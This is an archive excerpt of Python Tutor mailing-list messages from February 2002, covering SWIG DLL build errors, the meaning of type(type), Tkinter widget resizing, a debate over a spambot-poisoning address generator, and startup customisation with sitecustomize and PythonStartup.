        c:\arbeit_diplomarbeit\__optimierer\testlauf\bla bla\simanneal_wrap.cpp(32) : Siehe vorherige Definition von 'SWIGEXPORT'
....
Generieren von Code...
Fehler beim Ausführen von cl.exe.

bla bla.dll - 7 Fehler, 4 Warnung(en)



Perhaps, i have to write additional information in the .def file of the functions, i want to be exported from the new .dll
Have anyone had this kind of problem ?

Greetings
Marcus

--------------090205090309040109020501-- From csmith@blakeschool.org Fri Feb 1 16:29:50 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Fri, 01 Feb 2002 10:29:50 -0600 Subject: [Tutor] a bug? Message-ID: Would you consider the type returned by the 3rd line below to be an error? If so, how do I report it? I am running Python on a Mac. >>> type(id) >>> type(len) >>> type(type) /c From lsloan@umich.edu Fri Feb 1 17:22:32 2002 From: lsloan@umich.edu (Lance E Sloan) Date: Fri, 01 Feb 2002 12:22:32 -0500 Subject: [Tutor] resizing Tkinter widgets Message-ID: <200202011722.MAA17877@robotron.gpcc.itd.umich.edu> It's been a while since I've posted to this list, but I've been lurking and reading. I've got a Tkinter question and if it would be better addressed to some other mailing list, like a Tkinter one, please let me know. I'm new to Tkinter and GUI programming in general. I'm having trouble figuring out how to make my Listbox and Scrollbar widgets grow and shrink when the Tk window is resized. Here's some code that I've been monkeying with, trying to make this work: from Tkinter import * master = Tk() master.config(bg="green") frame = Frame(master, bg="blue") scrollbar = Scrollbar(frame, orient=VERTICAL) listbox = Listbox(frame, yscrollcommand=scrollbar.set, bg="red") scrollbar.config(command=listbox.yview) scrollbar.pack(side=RIGHT, fill=Y) listbox.pack(side=LEFT, fill=BOTH, expand=1) listbox.insert(END, 'abc') frame.pack() master.mainloop() This is based on Lundh's Tkinter documentation about Listbox. I've added colors to the root Tk window, Frame, and Listbox so that I could see what was growing when I resized the window. At first, I thought the Frame enclosing the Listbox was growing, but by adding the colors, I can see that it's actually just the green root window growing. Suggestions? -- Lance E Sloan Web Services, Univ. of Michigan: Full-service Web and database design, development, and hosting. Specializing in Python & Perl CGIs. http://websvcs.itd.umich.edu/ - "Putting U on the Web" From karthikg@aztec.soft.net Fri Feb 1 18:27:13 2002 From: karthikg@aztec.soft.net (Karthik Gurumurthy) Date: Fri, 1 Feb 2002 23:57:13 +0530 Subject: [Tutor] a bug? In-Reply-To: Message-ID: > > Would you consider the type returned by the 3rd line below to be an error? If so, how do I report it? I am running Python on a Mac. >>> type(type) > Quoting a mail from Alan: .... I've been reading about metaclasses recently and came across the following comment in an essay (by Guido?) which I thought deserved an airing. The sad thing is that it does make sense when you read it a few times... " In core Python there is only one meta-type, the type ``type'' (types.TypeType), which is the type of all type objects, even itself. " ;-) The whole essay is at: http://www.python.org/doc/essays/metaclasses/ ....... Hope that answers your question. karthik. From beazley@cs.uchicago.edu Fri Feb 1 15:59:58 2002 From: beazley@cs.uchicago.edu (David Beazley) Date: Fri, 1 Feb 2002 09:59:58 -0600 (CST) Subject: [Tutor] [Swig] Compiling problem using SWIG to create a dll under windows In-Reply-To: <3C5AB817.3040307@gmx.de> References: <3C5AB817.3040307@gmx.de> Message-ID: <15450.47998.553213.366998@gargoyle.cs.uchicago.edu> Keule writes: > Hi @ ALL ! > > I think i solved my first problem creating a .dll with Visual C++, > because first i choosed only the option "win32 dynamic link library" and > not the "MFC AppWizard". The AppWizard also creates a .def file where > are informations about the Exports from the new .dll file. > But now, after compiling the the whole code, using the AppWizard, the > following Error occurs: > Have you tried working with any the Visual C++ project files included in the SWIG-1.3.10 distribution? This might also provide some help here. Cheers, Dave From csmith@bitaplus.com Fri Feb 1 17:13:42 2002 From: csmith@bitaplus.com (C Smith) Date: Fri, 1 Feb 2002 17:13:42 -0000 Subject: [Tutor] RE: [Swig] Compiling problem using SWIG to create a dll under win dows Message-ID: <99002EB5274BD311994A00902757A245290230@TANYA> Dear Marcus, If you just want to create a wrapper dll, you don't need to use Visual = C++. Just write a makefile like this. For PYTHON, do something like this ________________________________________________________________________= ____ ______________ PVERS=3D22 PYTHON=3Dd:\python$(PVERS) MYLIB=3Dyourlib.lib LIBp=3Dpython$(PVERS).lib PATH=3De:\gcc\SWIG-1.3.11;$(PATH) wrapc.dll: wrap.obj wrap.i=20 link -dll -OUT:$@ $(PYTHON)\libs\$(LIBp) $(MYLIB) wrap.obj .cpp.obj: cl -c $< -MD -W3 -Gm -GX -Zi -I$(PYTHON)\include -I./ -DWIN32=20 .c.obj: cl -c $< -MD -W3 -Gm -GX -Zi -I$(PYTHON)\include -I./ -DWIN32=20 clean: del *.obj wrap.cpp: wrap.i something.h echo ########################### Using Python Version $(PVERS) ############### swig -version swig -python -shadow -c++ -module wrap -o $@ wrap.i=20 ________________________________________________________________________= ____ ______________ If you call the file makefile, then from the dos prompt just type nmake This is quite useful. If you wanted to make a wrapper for python20 you = could say nmake PVERS=3D20 You don't need to to start up Visual C++ and you can add lines to copy = the dll to where you want it. Cheers, Colin -----Original Message----- From: Keule [mailto:m_konermann@gmx.de] Sent: 01 February 2002 15:45 To: SWIG; Tutor Subject: [Swig] Compiling problem using SWIG to create a dll under = windows Hi @ ALL ! I think i solved my first problem creating a .dll with Visual C++, = because first i choosed only the option "win32 dynamic link library" and not = the "MFC AppWizard". The AppWizard also creates a .def file where are informations about the Exports from the new .dll file. But now, after compiling the the whole code, using the AppWizard, the following Error occurs: Kompilierung l=E4uft... simanneal.cpp c:\arbeit_diplomarbeit\__optimierer\testlauf\bla bla\simanneal.cpp(496) = : fatal error C1010: Unerwartetes Dateiende waehrend der Suche nach der Direktive fuer die vorkompilierte Header-Datei simanneal_wrap.cpp c:\arbeit_diplomarbeit\__optimierer\testlauf\bla = bla\simanneal_wrap.cpp(34) : warning C4005: 'SWIGEXPORT' : Makro-Neudefinition c:\arbeit_diplomarbeit\__optimierer\testlauf\bla bla\simanneal_wrap.cpp(32) : Siehe vorherige Definition von = 'SWIGEXPORT' .... Generieren von Code... Fehler beim Ausf=FChren von cl.exe. bla bla.dll - 7 Fehler, 4 Warnung(en) Perhaps, i have to write additional information in the .def file of the functions, i want to be exported from the new .dll=20 Have anyone had this kind of problem ? Greetings Marcus From scarblac@pino.selwerd.nl Fri Feb 1 18:16:39 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Fri, 1 Feb 2002 19:16:39 +0100 Subject: [Tutor] CHORTLING OVER MY KEYBOARD In-Reply-To: <3C58E8A8.859210E6@netzero.net>; from idiot1@netzero.net on Thu, Jan 31, 2002 at 01:48:08AM -0500 References: <3C58E8A8.859210E6@netzero.net> Message-ID: <20020201191639.A19194@pino.selwerd.nl> On 0, kirk Bailey wrote: > Every last one is randomly generated, intended to poison spambots > harvesting email addresses. To a spammer, a spurious email address has almost zero extra cost. To the mail servers of his provider, and the mail servers of any actually existing domain, the cost is higher. There will be lots of bounces to already overworked postmasters, and many addresses may actually exist. Remember that spammers routinely spam *all* six-letter possibilities on Hotmail. I don't think your script is a good thing. -- Remco Gerlich From idiot1@netzero.net Fri Feb 1 18:36:11 2002 From: idiot1@netzero.net (kirk Bailey) Date: Fri, 01 Feb 2002 13:36:11 -0500 Subject: [Tutor] CHORTLING OVER MY KEYBOARD References: <3C58E8A8.859210E6@netzero.net> <20020201191639.A19194@pino.selwerd.nl> Message-ID: <3C5AE01B.63FA746A@netzero.net> ok. Ignoring everyone's darling (government force), what would you propose as a reply/solution to this social problem? Remco Gerlich wrote: > > On 0, kirk Bailey wrote: > > Every last one is randomly generated, intended to poison spambots > > harvesting email addresses. > > To a spammer, a spurious email address has almost zero extra cost. To the > mail servers of his provider, and the mail servers of any actually existing > domain, the cost is higher. There will be lots of bounces to already > overworked postmasters, and many addresses may actually exist. > > Remember that spammers routinely spam *all* six-letter possibilities on > Hotmail. > > I don't think your script is a good thing. > > -- > Remco Gerlich > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor -- -Respectfully, -Kirk D Bailey Consulting Loose Cannon end www.howlermonkey.net highprimate@howlermonkey.net www.sacredelectron.org idiot1@netzero.net www.tinylist.org grumpy@tinylist.org ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 From israel@lith.com Fri Feb 1 18:43:15 2002 From: israel@lith.com (Israel Evans) Date: Fri, 1 Feb 2002 10:43:15 -0800 Subject: [Tutor] CHORTLING OVER MY KEYBOARD Message-ID: Mind Control! -----Original Message----- From: kirk Bailey [mailto:idiot1@netzero.net] Sent: Friday, February 01, 2002 10:36 AM To: tutor Subject: Re: [Tutor] CHORTLING OVER MY KEYBOARD ok. Ignoring everyone's darling (government force), what would you propose as a reply/solution to this social problem? Remco Gerlich wrote: > > On 0, kirk Bailey wrote: > > Every last one is randomly generated, intended to poison spambots > > harvesting email addresses. > > To a spammer, a spurious email address has almost zero extra cost. To the > mail servers of his provider, and the mail servers of any actually existing > domain, the cost is higher. There will be lots of bounces to already > overworked postmasters, and many addresses may actually exist. > > Remember that spammers routinely spam *all* six-letter possibilities on > Hotmail. > > I don't think your script is a good thing. > > -- > Remco Gerlich > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor -- -Respectfully, -Kirk D Bailey Consulting Loose Cannon end www.howlermonkey.net highprimate@howlermonkey.net www.sacredelectron.org idiot1@netzero.net www.tinylist.org grumpy@tinylist.org ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 _______________________________________________ Tutor maillist - Tutor@python.org http://mail.python.org/mailman/listinfo/tutor From idiot1@netzero.net Fri Feb 1 19:23:57 2002 From: idiot1@netzero.net (kirk Bailey) Date: Fri, 01 Feb 2002 14:23:57 -0500 Subject: [Tutor] CHORTLING OVER MY KEYBOARD References: Message-ID: <3C5AEB4D.169FB0B4@netzero.net> Ah, gee, sorry, I misunderstood. I thought we were having a REAL conversation here. Israel Evans wrote: > > Mind Control! > > -----Original Message----- > From: kirk Bailey [mailto:idiot1@netzero.net] > Sent: Friday, February 01, 2002 10:36 AM > To: tutor > Subject: Re: [Tutor] CHORTLING OVER MY KEYBOARD > > ok. Ignoring everyone's darling (government force), what would you > propose as a reply/solution to this social problem? > > Remco Gerlich wrote: > > > > On 0, kirk Bailey wrote: > > > Every last one is randomly generated, intended to poison spambots > > > harvesting email addresses. > > > > To a spammer, a spurious email address has almost zero extra cost. To the > > mail servers of his provider, and the mail servers of any actually > existing > > domain, the cost is higher. There will be lots of bounces to already > > overworked postmasters, and many addresses may actually exist. > > > > Remember that spammers routinely spam *all* six-letter possibilities on > > Hotmail. > > > > I don't think your script is a good thing. > > > > -- > > Remco Gerlich > > > > _______________________________________________ > > Tutor maillist - Tutor@python.org > > http://mail.python.org/mailman/listinfo/tutor > > -- > > > -Respectfully, > -Kirk D Bailey > Consulting Loose Cannon > > end > > www.howlermonkey.net highprimate@howlermonkey.net > www.sacredelectron.org idiot1@netzero.net > www.tinylist.org grumpy@tinylist.org > ---------------------------------------------------- > Sign Up for NetZero Platinum Today > Only $9.95 per month! > http://my.netzero.net/s/signup?r=platinum&refcd=PT97 > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor -- -Respectfully, -Kirk D Bailey Consulting Loose Cannon end www.howlermonkey.net highprimate@howlermonkey.net www.sacredelectron.org idiot1@netzero.net www.tinylist.org grumpy@tinylist.org ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 From israel@lith.com Fri Feb 1 20:44:14 2002 From: israel@lith.com (Israel Evans) Date: Fri, 1 Feb 2002 12:44:14 -0800 Subject: [Tutor] CHORTLING OVER MY KEYBOARD Message-ID: Ouch! :) Actually, seeing as I'm not the most technically knowledgeable I can't think of a really good way to only punish/confuse the Spammers other than by Social, Cultural and Economic Methods. Digital Communications, especially email, are particularly vulnerable and far from private. The methods of Obfuscation and Intrusion available to the Spammer, as far as I know, are far greater in number and power than their victim's abilities and tools. The best way to solve a problem is to find the root cause, right? Most evidence points to the fact that Spam Email is sent in order to make people money. The Spammer doesn't care how annoying he/she is. They just want to grab as many minds as possible. Mass Mailings are an easy, cheap and nearly consequence free option for a Spammer. It seems to me that Capitalism, with it's overwhelming call for everyone to live their lives in pursuit of profit, and it's commoditization of absolutely everything, is the Primary cause of Spam. We could delve even deeper and come to realize that anytime anyone wants something they will do whatever it is they can that fits into their own personal ethics to achieve it regardless of monetary compensation. It's still a manifestation of greed, however, in that the Spammer refuses to recognize the discomfort he/she causes everyone they mail out. In actuality though the Spammer may perceive their actions as fully beneficial for everyone involved. "Who wouldn't want my product that guarantees liposuction like results in 20 minutes without surgery." So it becomes obvious that as long as a tool exists and people have the inclination to abuse it, some greedy, shortsighted soul will indeed do so. As far as a Pythonic way of solving this issue, or at least coming up with a new weapon in the arsenal against the War Against Terr.. er... Spam, I'm at a loss. Though I can load up text files and do neat stuff with lists! I hope I was serious enough. 8) ~Israel~ -----Original Message----- From: kirk Bailey [mailto:idiot1@netzero.net] Sent: 01 February 2002 11:24 AM To: tutor Subject: Re: [Tutor] CHORTLING OVER MY KEYBOARD Ah, gee, sorry, I misunderstood. I thought we were having a REAL conversation here. Israel Evans wrote: > > Mind Control! > > -----Original Message----- > From: kirk Bailey [mailto:idiot1@netzero.net] > Sent: Friday, February 01, 2002 10:36 AM > To: tutor > Subject: Re: [Tutor] CHORTLING OVER MY KEYBOARD > > ok. Ignoring everyone's darling (government force), what would you > propose as a reply/solution to this social problem? > > Remco Gerlich wrote: > > > > On 0, kirk Bailey wrote: > > > Every last one is randomly generated, intended to poison spambots > > > harvesting email addresses. > > > > To a spammer, a spurious email address has almost zero extra cost. To the > > mail servers of his provider, and the mail servers of any actually > existing > > domain, the cost is higher. There will be lots of bounces to already > > overworked postmasters, and many addresses may actually exist. > > > > Remember that spammers routinely spam *all* six-letter possibilities on > > Hotmail. > > > > I don't think your script is a good thing. > > > > -- > > Remco Gerlich > > > > _______________________________________________ > > Tutor maillist - Tutor@python.org > > http://mail.python.org/mailman/listinfo/tutor > > -- > > > -Respectfully, > -Kirk D Bailey > Consulting Loose Cannon > > end > > www.howlermonkey.net highprimate@howlermonkey.net > www.sacredelectron.org idiot1@netzero.net > www.tinylist.org grumpy@tinylist.org > ---------------------------------------------------- > Sign Up for NetZero Platinum Today > Only $9.95 per month! > http://my.netzero.net/s/signup?r=platinum&refcd=PT97 > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor -- -Respectfully, -Kirk D Bailey Consulting Loose Cannon end www.howlermonkey.net highprimate@howlermonkey.net www.sacredelectron.org idiot1@netzero.net www.tinylist.org grumpy@tinylist.org ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 _______________________________________________ Tutor maillist - Tutor@python.org http://mail.python.org/mailman/listinfo/tutor From arcege@speakeasy.net Fri Feb 1 21:25:48 2002 From: arcege@speakeasy.net (Michael P. Reilly) Date: Fri, 1 Feb 2002 16:25:48 -0500 Subject: [Tutor] a bug? In-Reply-To: ; from csmith@blakeschool.org on Fri, Feb 01, 2002 at 10:29:50AM -0600 References: Message-ID: <20020201162548.C1533@speakeasy.net> On Fri, Feb 01, 2002 at 10:29:50AM -0600, Christopher Smith wrote: > Would you consider the type returned by the 3rd line below to be an error? > If so, how do I report it? I am running Python on a Mac. > > >>> type(id) > > >>> type(len) > > >>> type(type) > Assuming you mean a bug in Python 2.2, then nope. You could have a callable object, which is exactly what this is. It is equivalent to: class type: ... def __call__(self, obj): """This would be interpreted internally in C as getting the "ob_type" object in the PyObject structure. return __c_builtin_retrieve_type_object(obj) ... import __builtin__ __builtin__.type = type() Then at this point, we could call type(1) and get the internal data type of the object. Since in Python 2.2, there is the unification of C types and classes, you can now make a subclass of a type. Notice: >>> class A: ... pass ... >>> type(A) >>> type(type(A)) >>> # we'll try to make a called object, passing the class >>> type(type(A)) (A) So if we looked at type(type), we'd get . It sounds like circular logic. But really "type" is the top of a tree that includes "class", "integer", "string", "instance" and "object" (which is also in the __builtin__ module). In computer science, the parent of the top is often the top itself (i.e. one way to get to the top of a tree is 'while node.parent is not node: node = node.parent'). >>> type is type(type) 1 This is exactly what's happening here. Hope this helps. -Arcege PS: If it was a defect, then you probably would want to go to the "SourceForge bug tracker" page for Python: From csmith@blakeschool.org Fri Feb 1 22:26:47 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Fri, 01 Feb 2002 16:26:47 -0600 Subject: [Tutor] sitecustomize and pythonstartup In-Reply-To: References: Message-ID: I've been trying to learn what behaviors can be automated at start up and have come up with the following which might be useful for others. Corrections are welcome. It also raises a question that I ask below. --- _____ A script can import user which will run the script ".pythonrc.py" if it exists in the same directory as the script. Objects in .pythonrc.py (imported modules, function definitions, or variables) are accessible to the calling script by using the "user." prefix. For example, if math has been loaded in .pythonrc.py, the main program can access math.pi as user.math.pi {see user.py} _____ The Python IDE will attempt to load a file named sitecustomize.pyc if it exists on the paths defined by sys.path. No objects therein (modules, functions, variables) are accessible to the IDE interactive console or scripts, but changes to variables like sys.path can be made. If there is any printing done in the file, this will create a window titled "Python IDE.out" which can be moved and resized but not closed. {see site.py and the file sitecustomize.py} _____ The Python Interpreter will attempt to run the sitecustomize.pyc script if it exists on the paths defined by sys.path. No objects therein (modules, functions, variables) are accessible to the IDE interactive console or scripts. The Interpreter will also attempt to import and run the contents of a file named PythonStartup if it exists on in the same directory as the interpreter. Objects in PythonStartup are then accessible directly to the interpreter (e.g. if "import math" appears in PythonStartup then typing "math.pi" in the interpreter will yield the value of pi). Commands like "from __future__ import division" will not affect the Interpreter, however, and must be reimported there. If PythonStartup imports a module A which in turn imports a module B, B's namespace must be accessed as A.B.name. {see section "Interactive startup file" in the using.html file in the Mac:Demo folder. ------- OK, the question is this. The interpreter can be educated as to what modules are loaded (i.e. if pythonstartup imports math, you can type math.pi in the interpreter and be understood). Is there a way to get this to happen in the IDE's interpreter as well? If sitecustomize.py imports math I can't seem to access that at the >>> prompt. Also, is there a way to get "from __future__ import division" to be the default behavior in the interpreter? This statement in the startup file does not create the floating integer behavior in the IDE's interpreter or in the Python Interpreter itself. /c From rick@niof.net Fri Feb 1 20:40:15 2002 From: rick@niof.net (rick@niof.net) Date: Fri, 1 Feb 2002 15:40:15 -0500 Subject: [Tutor] resizing Tkinter widgets In-Reply-To: <200202011722.MAA17877@robotron.gpcc.itd.umich.edu> References: <200202011722.MAA17877@robotron.gpcc.itd.umich.edu> Message-ID: <20020201204014.GA1569@tc.niof.net> On Fri, Feb 01, 2002 at 12:22:32PM -0500, Lance E Sloan wrote: > > > It's been a while since I've posted to this list, but I've been > lurking and reading. I've got a Tkinter question and if it would > be better addressed to some other mailing list, like a Tkinter > one, please let me know. > > I'm new to Tkinter and GUI programming in general. I'm having > trouble figuring out how to make my Listbox and Scrollbar widgets > grow and shrink when the Tk window is resized. Here's some > code that I've been monkeying with, trying to make this work: > > from Tkinter import * > > master = Tk() > master.config(bg="green") > > frame = Frame(master, bg="blue") > scrollbar = Scrollbar(frame, orient=VERTICAL) > listbox = Listbox(frame, yscrollcommand=scrollbar.set, bg="red") > scrollbar.config(command=listbox.yview) > scrollbar.pack(side=RIGHT, fill=Y) > listbox.pack(side=LEFT, fill=BOTH, expand=1) > > listbox.insert(END, 'abc') > > frame.pack() frame.pack(fill=BOTH,expand=1) > master.mainloop() You didn't tell the frame to expand so it always stays the same size. -- Property is prior to law; the sole function of the law is to safeguard the right to property wherever it exists, wherever it is formed, in whatever manner the worker produces it, whether individually or in association, provided that he respects the rights of others. -- Frédéric Bastiat (1801-1850) Rick Pasotto rickp@telocity.com http://www.niof.net From dyoo@hkn.eecs.berkeley.edu Fri Feb 1 22:41:33 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Fri, 1 Feb 2002 14:41:33 -0800 (PST) Subject: [Tutor] sitecustomize and pythonstartup In-Reply-To: Message-ID: On Fri, 1 Feb 2002, Christopher Smith wrote: > OK, the question is this. The interpreter can be educated as to what > modules are loaded (i.e. if pythonstartup imports math, you can type > math.pi in the interpreter and be understood). Is there a way to get > this to happen in the IDE's interpreter as well? If sitecustomize.py > imports math I can't seem to access that at the >>> prompt. Yes, it's possible. If we add the following fragment to our sitecustomize.py: ### import math import __builtin__ __builtin__.math = math del math ### then the math module will magically turn on for all new interactive sessions. Pretty convenient! *grin* At least, this works from a regular interpreter window; I'm not quite so sure if this will work with all IDE's. From csmith@blakeschool.org Fri Feb 1 22:59:08 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Fri, 01 Feb 2002 16:59:08 -0600 Subject: [Tutor] Re: a bug? In-Reply-To: References: Message-ID: karthikg@aztec.soft.net writes: >> >> Would you consider the type returned by the 3rd line below to be an >error? > If so, how do I report it? I am running Python on a Mac. >>>> type(type) > >>> > >Quoting a mail from Alan: >.... >I've been reading about metaclasses recently and came across >the following comment in an essay (by Guido?) which I thought >deserved an airing. The sad thing is that it does make sense >when you read it a few times... > >" In core Python there is only one meta-type, the type ``type'' >(types.TypeType), which is the type of all type objects, even >itself. " > >;-) >Hope that answers your question. Yes, but the quote that was more to the point for me right now is: "On first reading, you may want to skip directly to the examples in the section "Writing Metaclasses in Python" below, unless you want your head to explode." This is way over my hear right now. I see that type having the type 'type' is not a bug for some very interesting reasons...that I might understand by and by. ;-) Thanks for the ref. /c From csmith@blakeschool.org Fri Feb 1 23:04:40 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Fri, 01 Feb 2002 17:04:40 -0600 Subject: [Tutor] reset and IDE Message-ID: Now that I have started teaching Python in school, I can see that I would really like it if the IDE would automatically flush out the namespace so that all functions and modules would be reloaded when a script is re-run. A "reset" script was offered during the 2001 summer by Jesse W on the tutor list and I use it regularly myself but would love to have this be the automatic behavior when the "Run All" button is pressed in the IDE (on the Mac). Here is the script: def reset(namespace, user_safe_items=()): """Reset given namespace to a "pristine" state. This is a widely requested function which will remove from the current namespace everything execpt the items listed in below.""" safe_items=['__builtins__', '__doc__', '__name__', 'reset']\ +list(user_safe_items) for item in namespace.keys(): if item not in safe_items: exec ("del "+item) in namespace When running this from a script I just type "reset(vars())" at the top of the program to avert having functions that I have changed not be read as changed by Python. A couple questions here: 1) If I wanted to build a copy of the IDE with this as the default behavior, where do I have to insert this code? (I was unable to find where a press on the "Run All" button takes you in terms of program flow.) 2) Instead of wiping out the whole namespace, might another productive approach be to keep track of dirty modules and reload them. But hmm...if someone were using a different editor to edit the files then there would be no way of knowing that those modules had changed. But if someone only used the IDE for development, then this would be feasible. Every time a module is opened and edited, its name would be added to the list of dirty modules. Then, when a script is to be executed, the names of all dirty modules would be deleted from that script's namespace if they exist *and then* normally running of the script would occur. Something like: RunAll is pressed on script with namespace = "foo" for item in dirty: exec ("del "+item) in foo Do normal action that RunAll would do Is this feasible somewhere in the Python code for the IDE? /c From ainsoph3@attbi.com Sat Feb 2 05:43:56 2002 From: ainsoph3@attbi.com (chris schwan) Date: 01 Feb 2002 21:43:56 -0800 Subject: [Tutor] idle and redhat Message-ID: <1012628636.7615.2.camel@milarepa> Hey folks, have another quick question. I am using redhat 7.2 and I am sorting this out using python 1.5.2 for system tools and python 2.1 for my own learning. I have started to use IDLE and have not been able to find out how to get IDLE to use python 2.1 instead of 1.5.2 in this redhat 7.2 environ. Any tips? thanks in advance. Chris From Jack.Jansen@oratrix.nl Fri Feb 1 23:16:44 2002 From: Jack.Jansen@oratrix.nl (Jack Jansen) Date: Sat, 2 Feb 2002 00:16:44 +0100 Subject: [Tutor] Re: [Pythonmac-SIG] sitecustomize and pythonstartup In-Reply-To: Message-ID: There's some good info in your piece, I would really like it if it could be turned into something (customizing.html?) that could go into the documentation at some point. Some comments: On Friday, February 1, 2002, at 11:26 PM, Christopher Smith wrote: > I've been trying to learn what behaviors can be automated at > start up and > have come up with the following which might be useful for others. > Corrections are welcome. It also raises a question that I ask below. > > --- > > _____ > A script can > > import user > > which will run the script ".pythonrc.py" if it exists in the same > directory as the script. Objects in .pythonrc.py (imported modules, > function definitions, or variables) are accessible to the > calling script > by using the "user." prefix. For example, if math has been loaded in > .pythonrc.py, the main program can access math.pi as user.math.pi {see > user.py} > > _____ > The Python IDE will attempt to load a file named > sitecustomize.pyc if it > exists on the paths defined by sys.path. No objects therein (modules, > functions, variables) are accessible to the IDE interactive console or > scripts, but changes to variables like sys.path can be made. If > there is > any printing done in the file, this will create a window titled "Python > IDE.out" which can be moved and resized but not closed. {see > site.py and > the file sitecustomize.py} Actually sitecustomize.py works just as well as .pyc. The sitecustomize module is simply imported (by site.py, which is in it's turn "magically" imported during startup of every interpreter, interactive, running a script or applet (such as IDE). The bit about the Python IDE.out window is a bug, really: sitecustomize is imported before the IDE is running, so the output is going to the "normal" PythonInterpreter output window, which is normally suppressed. Unfortunately it is a bug that is difficult to fix (because fixing it would mean that IDE crashes resulted in no stack trace). > _____ > The Python Interpreter will attempt to run the > sitecustomize.pyc script if > it exists on the paths defined by sys.path. No objects therein > (modules, > functions, variables) are accessible to the IDE interactive console or > scripts. > > The Interpreter will also attempt to import and run the > contents of a file > named PythonStartup if it exists on in the same directory as the > interpreter. Objects in PythonStartup are then accessible > directly to the > interpreter (e.g. if "import math" appears in PythonStartup then typing > "math.pi" in the interpreter will yield the value of pi). > Commands like > "from __future__ import division" will not affect the Interpreter, > however, and must be reimported there. If PythonStartup > imports a module > A which in turn imports a module B, B's namespace must be accessed as > A.B.name. {see section "Interactive startup file" in the > using.html file > in the Mac:Demo folder. > > > > > ------- > > OK, the question is this. The interpreter can be educated as to what > modules are loaded (i.e. if pythonstartup imports math, you can type > math.pi in the interpreter and be understood). Is there a way > to get this > to happen in the IDE's interpreter as well? If > sitecustomize.py imports > math I can't seem to access that at the >>> prompt. This would be A Good Thing. Maybe you can submit it as a feature request in the sourceforge tracker? You can assign it to jvr, which is Just:-) > Also, is there a way to get "from __future__ import division" to be the > default behavior in the interpreter? This statement in the > startup file > does not create the floating integer behavior in the IDE's > interpreter or > in the Python Interpreter itself. Hmm, I there may be a good reason for this, but it might also be an oversight. You definitely don't want to enable it globally (as this would break lots of standard modules) but I can't think of a reason why it can't be enabled for the interactive interpreter in PythonStartup (or the unix-equivalent PYTHONSTARTUP environment variable). Maybe submit this as a feature request (or bug report) too? I'm not sure who you should assign this to, probably Guido. -- - Jack Jansen http://www.cwi.nl/~jack - - If I can't dance I don't want to be part of your revolution -- Emma Goldman - From Jack.Jansen@oratrix.nl Fri Feb 1 23:18:11 2002 From: Jack.Jansen@oratrix.nl (Jack Jansen) Date: Sat, 2 Feb 2002 00:18:11 +0100 Subject: [Pythonmac-SIG] Re: [Tutor] sitecustomize and pythonstartup In-Reply-To: Message-ID: On Friday, February 1, 2002, at 11:41 PM, Danny Yoo wrote: > On Fri, 1 Feb 2002, Christopher Smith wrote: > >> OK, the question is this. The interpreter can be educated as to what >> modules are loaded (i.e. if pythonstartup imports math, you can type >> math.pi in the interpreter and be understood). Is there a way to get >> this to happen in the IDE's interpreter as well? If sitecustomize.py >> imports math I can't seem to access that at the >>> prompt. > > Yes, it's possible. If we add the following fragment to our > sitecustomize.py: > > ### > import math > import __builtin__ > __builtin__.math = math > del math > ### But this will not only make it show up in interactive interpreters, it will also make it show up globally, in every module. I'm not sure this is a good idea... -- - Jack Jansen http://www.cwi.nl/~jack - - If I can't dance I don't want to be part of your revolution -- Emma Goldman - From dyoo@hkn.eecs.berkeley.edu Sat Feb 2 10:38:05 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sat, 2 Feb 2002 02:38:05 -0800 (PST) Subject: [Pythonmac-SIG] Re: [Tutor] sitecustomize and pythonstartup In-Reply-To: Message-ID: On Sat, 2 Feb 2002, Jack Jansen wrote: > > Yes, it's possible. If we add the following fragment to our > > sitecustomize.py: > > > > ### > > import math > > import __builtin__ > > __builtin__.math = math > > del math > > ### > > But this will not only make it show up in interactive > interpreters, it will also make it show up globally, in every > module. I'm not sure this is a good idea... Good point! Yikes..., ok if we want this automatic math import to work on interactive sessions without completely munging every other library in Python, perhaps we can employ a variation of the tricky code that pydoc.help() uses to try detecting if a session is interactive: ### import inspect def isInteractive(): """Returns 1 if we're running in an interpreter window, and false otherwise. At least, it tries to. This is a variation of what pydoc.help() tries.""" return inspect.stack()[-1][1:4] == (None, 1, "?") ### The idea of this is to look at the very end of the frame stack, and if the following three characteristics hold: 1. The "file" part of the frame is None. 2. We're on line number 1. 3. We have no clue what function we're in. ("?") then we're probably in interactive mode. And speaking of no clue... I have NO clue if this will work on an IDE. I think that other IDE's actually set the "file name" to something other than "None", so perhaps this heuristic needs to be relaxed. Does anyone know a better way of testing if we're in interactive mode or not? If we have something like this like this, we might be able to limit the extent of the math import to just interactive shells: ### ## Within sitecustomize.py import inspect def isInteractive(): """Returns 1 if we're running in an interpreter window, and false otherwise. At least, it tries to. This is a variation of what pydoc.help() tries.""" return inspect.stack()[-1][1:4] == (None, 1, "?") class _InteractiveMath: def __repr__(self): if isInteractive(): import math return repr(math) else: raise NameError, 'name "math" is not defined' def __getattr__(self, attr): if isInteractive(): import math return getattr(math, attr) else: raise NameError, 'name "math" is not defined' import __builtin__ __builtin__.math = _InteractiveMath() ### To tell the truth, I feel very somewhat ashamed about this code, as it doesn't quite work perfectly. It tries to simulate the NameErrors that should occur in a noninteractive Python program --- the _InteractiveMath() instance tries to pretend that it's not there if the right person doesn't knock --- but either way, we can still 